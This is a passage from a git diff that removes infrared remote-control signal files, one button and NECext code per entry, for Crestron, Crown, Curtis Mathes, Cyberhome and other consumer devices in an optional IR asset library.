-command: 34 00 00 00 -# -name: BTN54 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 35 00 00 00 -# -name: BTN55 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 36 00 00 00 -# -name: BTN56 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 37 00 00 00 -# -name: BTN57 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 38 00 00 00 -# -name: BTN58 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 39 00 00 00 -# -name: BTN59 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3A 00 00 00 -# -name: BTN60 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3B 00 00 00 -# -name: BTN61 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: BTN62 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3D 00 00 00 -# -name: BTN63 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3E 00 00 00 -# -name: BTN64 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir deleted file mode 100644 index f0a62f302..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BTN01 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: BTN02 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: BTN03 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: BTN04 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: BTN05 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: BTN06 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: BTN07 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: BTN08 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: BTN09 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: BTN10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: BTN11 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: BTN12 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: BTN13 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: BTN14 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: BTN15 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: BTN16 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: BTN17 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: BTN18 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: BTN19 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: BTN20 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: BTN21 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: BTN22 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: BTN23 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: BTN24 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: BTN25 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: BTN26 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: BTN27 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: BTN28 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: BTN29 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: BTN30 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: BTN31 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: BTN32 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: BTN33 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: BTN34 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: BTN35 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: BTN36 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: BTN37 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: BTN38 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 25 00 00 00 -# -name: BTN39 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: BTN40 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 27 00 00 00 -# -name: BTN41 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: BTN42 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: BTN43 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: BTN44 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2B 00 00 00 -# -name: BTN45 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: BTN46 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2D 00 00 00 -# -name: BTN47 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2E 00 00 00 -# -name: BTN48 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: BTN49 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: BTN50 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: BTN51 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 32 00 00 00 -# -name: BTN52 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 33 00 00 00 -# -name: BTN53 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 34 00 00 00 -# -name: BTN54 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 35 00 00 00 -# -name: BTN55 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 36 00 00 00 -# -name: BTN56 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 -# -name: BTN57 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 38 00 00 00 -# -name: BTN58 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: BTN59 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3A 00 00 00 -# -name: BTN60 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: BTN61 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3C 00 00 00 -# -name: BTN62 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3D 00 00 00 -# -name: BTN63 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3E 00 00 00 -# -name: BTN64 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir deleted file mode 100644 index 82d82963a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 00 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 01 00 00 00 -# -name: SCENE_1 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 02 00 00 00 -# -name: SCENE_2 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 03 00 00 00 -# -name: SCENE_3 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 04 00 00 00 -# -name: SCENE_4 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 05 00 00 00 -# -name: RAISE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 21 00 00 00 -# -name: LOWER -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 22 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir deleted file mode 100644 index 7194b9789..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: 1_OR_* -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: ALPHABETIC_SCROLL_KE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 -# -name: NOW_PLAYING -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 12 00 00 00 -# -name: BROWSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 13 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 16 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: ACTION_KEY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 18 00 00 00 -# -name: CANCEL_KEY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1A 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: DEFAULT_OUT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir deleted file mode 100644 index 69ae3e96f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 0D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 15 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: CA 14 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir deleted file mode 100644 index 35306cd7a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: PS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: DOUBLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: UPDATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: P100 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: TX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: SYST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir deleted file mode 100644 index b4ef9c92a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_N -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: TXT_LANG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: TXT_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TXT_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: TXT_MAGN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: TXT_REV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: TXT_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: TXT_MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: TXT_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir deleted file mode 100644 index 2ef96445f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: REC/TIME -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 36 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 39 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: E5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir deleted file mode 100644 index 40fc7c6fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 01 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 02 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 03 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 04 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 05 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 56 00 00 00 -# -name: VCR_PLUS -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 5D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir deleted file mode 100644 index ef59aa1c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 02 00 00 00 -# -name: BOOKMARK -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 04 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 72 CD 